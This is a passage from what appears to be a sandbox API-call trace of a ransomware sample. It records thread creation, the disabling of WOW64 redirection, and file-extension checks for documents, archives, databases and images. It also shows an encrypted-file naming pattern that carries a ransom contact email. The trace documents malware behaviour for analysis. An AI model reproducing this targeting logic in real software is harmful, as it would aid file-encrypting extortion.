0x1143d3f [0189.044] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0189.270] GetTickCount () returned 0x1143e1a [0189.270] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0189.512] GetTickCount () returned 0x1143f13 [0189.512] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0189.813] GetTickCount () returned 0x114402c [0189.813] GetTickCount () returned 0x114402c [0189.813] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0190.221] GetTickCount () returned 0x11441d1 [0190.229] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0190.563] GetTickCount () returned 0x1144309 [0190.563] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0190.782] GetTickCount () returned 0x11443e4 [0190.782] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0191.131] GetTickCount () returned 0x114453b [0191.131] GetTickCount () returned 0x114453b [0191.131] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0191.309] GetTickCount () returned 0x11445e7 [0191.309] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0191.786] GetTickCount () returned 0x11447ab [0191.786] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0192.019] GetTickCount () returned 0x1144895 [0192.019] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0192.272] GetTickCount () returned 0x114498f [0192.272] GetTickCount () returned 0x114498f [0192.272] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0192.456] GetTickCount () returned 0x1144a3a [0192.456] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0192.734] GetTickCount () returned 0x1144b43 [0192.734] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0193.004] GetTickCount () returned 0x1144c4d [0193.004] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0193.166] GetTickCount () returned 0x1144ce9 [0193.166] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0193.443] GetTickCount () returned 0x1144e01 [0193.443] GetTickCount () returned 0x1144e01 [0193.443] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0193.789] GetTickCount () returned 0x1144f49 [0193.789] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0194.226] GetTickCount () returned 0x11450ee [0194.226] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0194.566] GetTickCount () returned 0x1145236 [0194.566] GetTickCount () returned 0x1145236 [0194.566] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0194.794] GetTickCount () returned 0x1145320 [0194.794] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0195.052] GetTickCount () returned 0x1145419 [0195.052] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0195.349] GetTickCount () returned 0x1145532 [0195.349] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0195.657] GetTickCount () returned 0x114565b [0195.665] GetTickCount () returned 0x114565b [0195.665] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0195.999] GetTickCount () returned 0x11457a2 [0196.001] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0196.150] GetTickCount () returned 0x114582f [0196.150] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0196.632] GetTickCount () returned 0x1145a03 [0196.632] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0196.844] GetTickCount () returned 0x1145acd [0196.844] GetTickCount () returned 0x1145acd [0196.844] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0196.986] GetTickCount () returned 0x1145b69 [0196.986] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0197.152] GetTickCount () returned 0x1145c05 [0197.152] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0197.485] GetTickCount () returned 0x1145d3d [0197.486] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0198.241] GetTickCount () returned 0x114601b [0198.241] GetTickCount () returned 0x114601b [0198.241] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0198.426] GetTickCount () returned 0x11460c6 [0198.426] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0198.670] GetTickCount () returned 0x11461b0 [0198.670] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0198.920] GetTickCount () returned 0x11462aa [0198.920] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0199.166] GetTickCount () returned 0x1146394 [0199.166] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0199.513] GetTickCount () returned 0x11464eb [0199.513] GetTickCount () returned 0x11464eb [0199.513] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0199.790] GetTickCount () returned 0x11465f4 [0199.790] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) returned 0x102 [0200.057] GetTickCount () returned 0x114670d [0200.075] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x64) Thread: id = 403 os_tid = 0x5e0 [0182.394] GetTickCount () returned 0x11423f5 [0182.394] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x63e530 [0182.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x63e530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194 [0182.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x63e530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198 [0182.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x63e530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c [0182.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x63e530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0 [0182.396] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638830 [0182.396] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638830, Size=0x20) returned 0x633b20 [0182.396] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638830 [0182.396] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638830, Size=0x20) returned 0x633aa8 [0182.397] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0182.397] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0182.397] Wow64DisableWow64FsRedirection (in: OldValue=0x2bcff84 | out: OldValue=0x2bcff84*=0x0) returned 1 [0182.397] lstrlenW (lpString="kernel32.dll") returned 12 [0182.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633b20 | out: hHeap=0x5c0000) returned 1 [0182.397] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0182.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633aa8 | out: hHeap=0x5c0000) returned 1 [0182.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x63ffe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4 [0182.397] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0182.688] GetTickCount () returned 0x114250e [0182.688] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0182.861] GetTickCount () returned 0x11425ba [0182.861] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0183.189] GetTickCount () returned 0x1142701 [0183.189] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0183.699] GetTickCount () returned 0x11428e5 [0183.699] GetTickCount () returned 0x11428e5 [0183.699] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0183.969] GetTickCount () returned 0x11429ee [0183.969] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0184.254] GetTickCount () returned 0x1142b07 [0184.254] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0184.539] GetTickCount () returned 0x1142c10 [0184.539] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0184.733] GetTickCount () returned 0x1142ccb [0184.733] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0184.930] GetTickCount () returned 0x1142d96 [0184.930] GetTickCount () returned 0x1142d96 [0184.930] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0185.141] GetTickCount () returned 0x1142e61 [0185.141] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0185.309] GetTickCount () returned 0x1142efd [0185.309] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0185.748] GetTickCount () returned 0x11430b2 [0185.748] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0185.943] GetTickCount () returned 0x114316d [0185.943] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0186.282] GetTickCount () returned 0x11432b5 [0186.282] GetTickCount () returned 0x11432b5 [0186.282] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0186.532] GetTickCount () returned 0x11433ae [0186.532] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0186.860] GetTickCount () returned 0x11434e6 [0186.860] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0187.144] GetTickCount () returned 0x11435ff [0187.144] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0187.536] GetTickCount () returned 0x1143775 [0187.536] GetTickCount () returned 0x1143775 [0187.536] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0187.898] GetTickCount () returned 0x11438dc [0187.898] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0188.175] GetTickCount () returned 0x11439f5 [0188.175] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0188.551] GetTickCount () returned 0x1143b5c [0188.559] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0188.769] GetTickCount () returned 0x1143c27 [0188.769] GetTickCount () returned 0x1143c27 [0188.769] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0189.044] GetTickCount () returned 0x1143d3f [0189.044] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0189.270] GetTickCount () returned 0x1143e1a [0189.270] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0189.512] GetTickCount () returned 0x1143f13 [0189.512] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0189.813] GetTickCount () returned 0x114402c [0189.813] GetTickCount () returned 0x114402c [0189.813] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0190.221] GetTickCount () returned 0x11441c2 [0190.221] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0190.563] GetTickCount () returned 0x1144309 [0190.563] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0190.782] GetTickCount () returned 0x11443e4 [0190.782] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0191.131] GetTickCount () returned 0x114453b [0191.131] GetTickCount () returned 0x114453b [0191.131] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0191.308] GetTickCount () returned 0x11445e7 [0191.308] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0191.786] GetTickCount () returned 0x11447ab [0191.786] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0192.019] GetTickCount () returned 0x1144895 [0192.019] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0192.272] GetTickCount () returned 0x114498f [0192.272] GetTickCount () returned 0x114498f [0192.272] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0192.456] GetTickCount () returned 0x1144a3a [0192.456] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0192.734] GetTickCount () returned 0x1144b43 [0192.734] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0193.004] GetTickCount () returned 0x1144c4d [0193.004] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0193.163] GetTickCount () returned 0x1144ce9 [0193.163] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0193.443] GetTickCount () returned 0x1144e01 [0193.443] GetTickCount () returned 0x1144e01 [0193.443] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0193.789] GetTickCount () returned 0x1144f49 [0193.789] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0194.246] GetTickCount () returned 0x11450fe [0194.246] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0194.566] GetTickCount () returned 0x1145236 [0194.566] GetTickCount () returned 0x1145236 [0194.566] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0194.794] GetTickCount () returned 0x1145320 [0194.794] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0195.052] GetTickCount () returned 0x1145419 [0195.052] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0195.349] GetTickCount () returned 0x1145532 [0195.349] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0195.657] GetTickCount () returned 0x114565b [0195.657] GetTickCount () returned 0x114565b [0195.657] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0195.999] GetTickCount () returned 0x11457a2 [0195.999] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0196.149] GetTickCount () returned 0x114582f [0196.150] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0196.632] GetTickCount () returned 0x1145a03 [0196.632] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0196.844] GetTickCount () returned 0x1145acd [0196.844] GetTickCount () returned 0x1145acd [0196.844] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0196.986] GetTickCount () returned 0x1145b69 [0196.986] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0197.152] GetTickCount () returned 0x1145c05 [0197.152] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0197.486] GetTickCount () returned 0x1145d3d [0197.486] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0198.241] GetTickCount () returned 0x114601b [0198.241] GetTickCount () returned 0x114601b [0198.241] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0198.426] GetTickCount () returned 0x11460c6 [0198.426] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0198.670] GetTickCount () returned 0x11461b0 [0198.670] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0198.920] GetTickCount () returned 0x11462aa [0198.920] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0199.166] GetTickCount () returned 0x1146394 [0199.166] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0199.513] GetTickCount () returned 0x11464eb [0199.513] GetTickCount () returned 0x11464eb [0199.514] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) returned 0x102 [0199.790] GetTickCount () returned 0x11465f4 [0199.790] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x64) Thread: id = 404 os_tid = 0x4f4 Thread: id = 405 os_tid = 0x364 [0182.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x650008 [0182.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x660010 [0182.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638830 [0182.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x636e50 [0182.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638848 [0182.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x38d0020 [0182.578] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638818 [0182.578] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638818, Size=0x20) returned 0x633aa8 [0182.578] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638818 [0182.578] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638818, Size=0x20) returned 0x633b20 [0182.578] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0182.578] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0182.578] Wow64DisableWow64FsRedirection (in: OldValue=0x2dcff58 | out: OldValue=0x2dcff58*=0x0) returned 1 [0182.578] lstrlenW (lpString="kernel32.dll") returned 12 [0182.578] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633aa8 | out: hHeap=0x5c0000) returned 1 [0182.578] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0182.578] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633b20 | out: hHeap=0x5c0000) returned 1 [0182.578] Sleep (dwMilliseconds=0x64) [0182.796] lstrcmpiW (lpString1=".ini", lpString2=".wiki") returned -1 [0182.796] lstrlenW (lpString="desktop.ini") returned 11 [0182.796] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0182.796] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=129) returned 1 [0182.796] CloseHandle (hObject=0x1cc) returned 1 [0182.796] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0182.796] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0x26 [0182.796] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0182.796] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0182.796] lstrlenW (lpString=".doc") returned 4 [0182.796] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0182.796] lstrlenW (lpString=".docx") returned 5 [0182.796] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0182.797] lstrlenW (lpString=".pdf") returned 4 [0182.797] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0182.797] lstrlenW (lpString=".xls") returned 4 [0182.797] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0182.797] lstrlenW (lpString=".xlsx") returned 5 [0182.797] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0182.797] lstrlenW (lpString=".ppt") returned 4 [0182.797] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0182.797] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0182.797] lstrlenW (lpString=".zip") returned 4 [0182.797] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0182.797] lstrlenW (lpString=".rar") returned 4 [0182.797] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0182.797] lstrlenW (lpString=".bz2") returned 4 [0182.797] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0182.797] lstrlenW (lpString=".7z") returned 3 [0182.797] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0182.797] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0182.797] lstrlenW (lpString=".dbf") returned 4 [0182.797] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0182.797] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0182.797] lstrlenW (lpString=".1cd") returned 4 [0182.797] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0182.797] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0182.797] lstrlenW (lpString=".jpg") returned 4 [0182.797] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0182.797] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0182.797] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0182.797] lstrlenW (lpString=".doc") returned 4 [0182.797] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0182.797] lstrlenW (lpString=".docx") returned 5 [0182.797] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0182.797] lstrlenW (lpString=".pdf") returned 4 [0182.798] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0182.798] lstrlenW (lpString=".xls") returned 4 [0182.798] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0182.798] lstrlenW (lpString=".xlsx") returned 5 [0182.798] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0182.798] lstrlenW (lpString=".ppt") returned 4 [0182.798] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0182.798] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0182.798] lstrlenW (lpString=".zip") returned 4 [0182.798] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0182.798] lstrlenW (lpString=".rar") returned 4 [0182.798] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0182.798] lstrlenW (lpString=".bz2") returned 4 [0182.798] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0182.798] lstrlenW (lpString=".7z") returned 3 [0182.798] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0182.798] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0182.798] lstrlenW (lpString=".dbf") returned 4 [0182.798] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0182.798] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0182.798] lstrlenW (lpString=".1cd") returned 4 [0182.798] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0182.798] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0182.798] lstrlenW (lpString=".jpg") returned 4 [0182.798] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0182.798] lstrcmpiW (lpString1=".LOG", lpString2=".wiki") returned -1 [0182.798] lstrlenW (lpString="BCD.LOG") returned 7 [0182.798] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.799] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0182.799] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0182.799] lstrlenW (lpString=".doc") returned 4 [0182.799] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0182.799] lstrlenW (lpString=".docx") returned 5 [0182.799] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0182.799] lstrlenW (lpString=".pdf") returned 4 [0182.799] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0182.799] lstrlenW (lpString=".xls") returned 4 [0182.799] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0182.799] lstrlenW (lpString=".xlsx") returned 5 [0182.799] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0182.799] lstrlenW (lpString=".ppt") returned 4 [0182.799] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0182.799] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0182.799] lstrlenW (lpString=".zip") returned 4 [0182.799] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0182.799] lstrlenW (lpString=".rar") returned 4 [0182.799] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0182.799] lstrlenW (lpString=".bz2") returned 4 [0182.799] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0182.799] lstrlenW (lpString=".7z") returned 3 [0182.799] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0182.799] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0182.799] lstrlenW (lpString=".dbf") returned 4 [0182.799] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0182.799] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0182.799] lstrlenW (lpString=".1cd") returned 4 [0182.799] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0182.799] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0182.799] lstrlenW (lpString=".jpg") returned 4 [0182.799] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0182.800] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0182.800] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0182.800] lstrlenW (lpString=".doc") returned 4 [0182.800] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0182.800] lstrlenW (lpString=".docx") returned 5 [0182.800] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0182.800] lstrlenW (lpString=".pdf") returned 4 [0182.800] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0182.800] lstrlenW (lpString=".xls") returned 4 [0182.800] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0182.800] lstrlenW (lpString=".xlsx") returned 5 [0182.800] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0182.800] lstrlenW (lpString=".ppt") returned 4 [0182.800] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0182.800] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0182.800] lstrlenW (lpString=".zip") returned 4 [0182.800] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0182.800] lstrlenW (lpString=".rar") returned 4 [0182.800] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0182.800] lstrlenW (lpString=".bz2") returned 4 [0182.800] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0182.800] lstrlenW (lpString=".7z") returned 3 [0182.800] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0182.800] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0182.800] lstrlenW (lpString=".dbf") returned 4 [0182.800] lstrcmpiW 